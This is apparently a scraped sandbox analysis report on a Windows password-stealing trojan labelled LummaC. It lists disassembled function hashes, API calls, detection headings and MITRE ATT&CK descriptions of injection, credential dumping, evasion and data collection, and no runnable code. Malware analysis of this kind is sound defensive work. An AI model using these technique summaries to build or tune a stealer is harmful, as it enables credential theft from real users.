Instruction Fuzzy Hash: D1818FB0500B008FD735CF25C4947A7B7E6AF89314F14892ED1AB87791E77AB889CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00416A62 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f01b2f0baba122d09bd3c3bd9327791873bdecd719347b9779de429d282b2145
Instruction ID: d15a5ba77c2942aaed52dfcd08f948692d97a9139cdbd11b09d40d24ee078bc7
Opcode Fuzzy Hash: f01b2f0baba122d09bd3c3bd9327791873bdecd719347b9779de429d282b2145
Instruction Fuzzy Hash: 1B61BD701083528BCB14CF14C861AABB3B1FFD6318F415A1CF8A65B2D1D735D845CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00414F10 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54cb5dd5dd0fcd48ab24a72492a27802d376ea6492d2a81bec40712d4bc4f415
Instruction ID: 57d970a1a5eaa07e00c5266ac3b256e7819b63f8173c30f7784ac52c659ae5f7
Opcode Fuzzy Hash: 54cb5dd5dd0fcd48ab24a72492a27802d376ea6492d2a81bec40712d4bc4f415
Instruction Fuzzy Hash: 574117B1908304DBD320AF54D8807A7B7E8EFD5314F09466AE89947381E779D885C39A

Uniqueness

Uniqueness Score: -1.00%

Function 00415216 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d78554ab80a413b14b2419e0b7bfb4f1e016b09d74d6dc94fa787bd36b60a352
Instruction ID: 545b315d56c03b522b5d99d20036039b40e7180db63e96aaac84a40b3ebbbfbc
Opcode Fuzzy Hash: d78554ab80a413b14b2419e0b7bfb4f1e016b09d74d6dc94fa787bd36b60a352
Instruction Fuzzy Hash: C731B272610A10CFC724CF14C892AB373B1FFAA354719416AD956CB3A0E739F851CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043822F Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 584657ef151b8187a3a4750398981d09528dca47d4deaaf1de6ca309e7dd6aca
Instruction ID: f1f54ffedb807780357bd696c1c2a9751d85aa1e3442850fd13f11c07331e65e
Opcode Fuzzy Hash: 584657ef151b8187a3a4750398981d09528dca47d4deaaf1de6ca309e7dd6aca
Instruction Fuzzy Hash: CB3115746083419BE718CF04C5A472BB7E2BBCA709F25995DE8C607791C739EC09DB8A

Uniqueness

Uniqueness Score: -1.00%

Function 004025E0 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0bfbfb61dbf5779cf225968f8c5217ee72eb12cd5ca65c21218be2dfbc2d940
Instruction ID: 07de276a0e9e5309fcf8d398c85ee914db3ade285566f83fb5552bca2ba40eb8
Opcode Fuzzy Hash: f0bfbfb61dbf5779cf225968f8c5217ee72eb12cd5ca65c21218be2dfbc2d940
Instruction Fuzzy Hash: D231D8306046009BC7149E19CA88927B7E1EF85318F184D7EE8D9A73D1D67ADD53CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00432140 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: d2de3db70371d7fa33c8edf06fd931e09d60dc9d2bbf6fa126cafacc00fd25b9
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: BB114C33A051E40EC7168D3C8A00565BFA31AD7234F1D539AF4B49B2D2D6278D8B8369

Uniqueness

Uniqueness Score: -1.00%

Function 0043799B Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85327cca07778d5fa5c6387c8ed6258d52b71aa4bff88396f83fddc4650c8f7
Instruction ID: 7589fa0b55ddb035dc5953139a33f16b58e0856eb98253357792a4a2099d3379
Opcode Fuzzy Hash: e85327cca07778d5fa5c6387c8ed6258d52b71aa4bff88396f83fddc4650c8f7
Instruction Fuzzy Hash: 7511E2B04193418BD718DF14C0A066BBBF1EF8A344F545E0EE8E29B240D339D6069B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0043A0D9 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 423d67a1aedaa4b508aa77c2bc40276057c224fc83bd2c24f4d8f53ec03e9d94
Instruction ID: 5fc0ae8dc96022c44960700c7ab2adaf62af461dc2bf8e2718f495d239de32d0
Opcode Fuzzy Hash: 423d67a1aedaa4b508aa77c2bc40276057c224fc83bd2c24f4d8f53ec03e9d94
Instruction Fuzzy Hash: 2EF06735A083019BC708CF19C09062BFBF0AF8A750F28986EA4D9D3351DB30ED558B46

Uniqueness

Uniqueness Score: -1.00%

Function 0040D2C0 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 699039870cb33442d1a4fa21481bbe1e7a2f0d085c6e2806cd73b173b10ae215
Instruction ID: b4944c70536aa93040e23a0d3de02e03ae6e0bd8259874742134aa93b1285e44
Opcode Fuzzy Hash: 699039870cb33442d1a4fa21481bbe1e7a2f0d085c6e2806cd73b173b10ae215
Instruction Fuzzy Hash: A7E0C266B057610BA718CDB548A01B7F7E55A87322F1CA4BED492E3244C13CC805425C

Uniqueness

Uniqueness Score: -1.00%

Function 0040FED9 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eae7d2772a78467c0d93536fe5619a14daad1bcc9832cc0b3c97cf4b1fb97af8
Instruction ID: 832b43b70c8be9becace1e9a524aaac1633fa4a646e66cb56c40eb57a0982910
Opcode Fuzzy Hash: eae7d2772a78467c0d93536fe5619a14daad1bcc9832cc0b3c97cf4b1fb97af8
Instruction Fuzzy Hash: CAC04C249440015A81199B15DDE5879B3796687945740743CD90BD3260DB14E409991D

Uniqueness

Uniqueness Score: -1.00%

Function 00416582 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3f1035c1401d21b34ad4db02c73ed8df596dac4499ff47489de15c59aee4e8d
Instruction ID: 8b35dc4ed4a9966cb47b13b221a0358a275917a8b9a254330dbaa609285bd0fa
Opcode Fuzzy Hash: f3f1035c1401d21b34ad4db02c73ed8df596dac4499ff47489de15c59aee4e8d
Instruction Fuzzy Hash: 72C04C3CBAD240978348CF00D990875F77AE78B212B19B12DEC5513325D534E886850C

Uniqueness

Uniqueness Score: -1.00%

Function 00439461 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80402a54a2eb80e0272eadae08c2f832bf20fb6b3d132a6f8ec30e6a10445a34
Instruction ID: b9894db37ae32ee18a48b4ed2c803f881acc9e4ff8f0547e5b61e8919c04ec24
Opcode Fuzzy Hash: 80402a54a2eb80e0272eadae08c2f832bf20fb6b3d132a6f8ec30e6a10445a34
Instruction Fuzzy Hash: DBB002B8E58305AF8704DE25D480826F7F0AB5A260F11B859A495E7221D235D840CE59

Uniqueness

Uniqueness Score: -1.00%

Function 00422FF0 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 266COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 004230D8
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 0042310F

Strings

e, xrefs: 004231D0
I~, xrefs: 004231C9
Uv, xrefs: 004231C2

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: I~$Uv$e
API String ID: 237503144-3460210907
Opcode ID: 8f93784fbeda9620add6718be1a9e18b46cdb369a03a0538d86fc0d0cb323890
Instruction ID: 16cafb33f1f8e4995bd0bdf4f58cd314be70f01e5f7da7e4e22661345279a5c2
Opcode Fuzzy Hash: 8f93784fbeda9620add6718be1a9e18b46cdb369a03a0538d86fc0d0cb323890
Instruction Fuzzy Hash: A2A11FB4240B108BE724CF26C4A0BA7BBE1BB46314F404E2DD4D78BB91D778B54ACB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041E8A6 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 0041E9E0
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 0041EA0E

Strings

y~, xrefs: 0041E8FC
^t, xrefs: 0041E8F5
FC, xrefs: 0041E903

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: FC$^t$y~
API String ID: 237503144-1521909807
Opcode ID: 4d9b81468cc8d0a29ae4e86b71a6f6adb181da45d638faa304b63ba5a74a1f7d
Instruction ID: 7dc4180f42710efd34fe1777278b8f8e7ffdb24aa82c73dcb8f70fcf12544316
Opcode Fuzzy Hash: 4d9b81468cc8d0a29ae4e86b71a6f6adb181da45d638faa304b63ba5a74a1f7d
Instruction Fuzzy Hash: 0A5156B41007019FD724CF16C894B52BBB1FF85720F158A9CE8AA4FBA6D774E846CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00433FB0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000D,1BC919F5,00000008,?), ref: 00434086

Strings

ZC, xrefs: 00433FDC
]U, xrefs: 00433FC4
Y", xrefs: 00433FD4
\O, xrefs: 00433FCC

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: Y"$ZC$\O$]U
API String ID: 237503144-2272643138
Opcode ID: 47c2b8574a887638884fb7d152d71a54bde3dcda3434452c017fa81227bf6c5e
Instruction ID: dc9efc591604e7eca86abe716767c5bc2ee1dea97722851847302af0a282a4f1
Opcode Fuzzy Hash: 47c2b8574a887638884fb7d152d71a54bde3dcda3434452c017fa81227bf6c5e
Instruction Fuzzy Hash: 3F2145751083809FD314CF18D490B5FBBF4FB8A348F500A1DFAA59B281C7B5E9068B96

Uniqueness

Uniqueness Score: -1.00%

Function 00429E94 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 00429E9E

Part of subcall function 004359F0: RtlAllocateHeap.NTDLL(?,00000000,00409E11), ref: 00435A87

Strings

7, xrefs: 0042A038
0, xrefs: 0042A028
,, xrefs: 0042A030

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeapString
String ID: ,$0$7
API String ID: 983180023-2155719752
Opcode ID: 3014c82a8aa4ecce16e822321478b9489deaecac6dfa0ed20a8e26eb28c689a7
Instruction ID: c908502eda0842b721617bfb232101f265745d64272503eb8c3c42083bdf6617
Opcode Fuzzy Hash: 3014c82a8aa4ecce16e822321478b9489deaecac6dfa0ed20a8e26eb28c689a7
Instruction Fuzzy Hash: 4791D471B097918FC335CE28C4907EBBBD2AB95324F594A2DD8E58B3C1D6398845CB46

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

Windows Analysis Report
SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Function 02772565 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Function 00D80A31 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 483
memoryCOMMON

Function 00D81011 Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Function 00D80500 Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Function 00D804F4 Relevance: 1.6, APIs: 1, Instructions: 60
memoryCOMMON

Function 00421670 Relevance: 10.5, Strings: 8, Instructions: 515
COMMON

Function 004216CE Relevance: 10.5, Strings: 8, Instructions: 462
COMMON

Function 00409D20 Relevance: 6.7, Strings: 5, Instructions: 468
COMMON

Function 004384D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
COMMON

Function 0042A245 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 83
memoryCOMMON

Function 0040DBF0 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 403
COMMON

Function 0040D5D0 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 399
COMMON

Function 0041E695 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 157
COMMON

Function 00409240 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
COMMON

Function 0043890C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65
memoryCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre